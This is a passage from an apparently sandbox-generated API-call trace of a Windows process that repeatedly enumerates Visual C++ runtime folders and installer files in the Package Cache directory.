out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.858] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.858] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0217.858] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.859] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.859] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec82c300, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xec82c300, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xec82c300, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.859] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea206900, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xea206900, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xea206900, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.859] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.859] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.860] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0217.860] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.860] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.860] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec82c300, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xec82c300, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xec82c300, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.861] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea206900, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xea206900, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xea206900, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.861] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea206900, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xea206900, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xea206900, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.861] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x52 [0217.861] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8dfa73, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.864] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8dfa73, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.865] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.865] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.865] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.865] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpFilePart=0x0) returned 0x52 [0217.865] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8dfa73, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.866] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8dfa73, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.866] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.866] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.867] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.867] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0217.867] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5710 [0217.868] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.868] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.868] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0217.868] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.869] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0217.869] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.869] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c905d7a, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c905d7a, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.869] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.870] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.870] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.870] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0217.870] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.871] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.871] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb519600, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xeb519600, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xeb519600, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.871] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea206900, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xea206900, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xea206900, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.871] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.871] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.872] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x72 [0217.872] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.872] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c905d7a, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9371b3, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9371b3, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.873] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb519600, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xeb519600, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, ftLastWriteTime.dwLowDateTime=0xeb519600, ftLastWriteTime.dwHighDateTime=0x1cf3e1d, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.873] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea206900, ftCreationTime.dwHighDateTime=0x1cf3e1d, ftLastAccessTime.dwLowDateTime=0xea206900, ftLastAccessTime.dwHighDateTime=0x1cf3e1d, 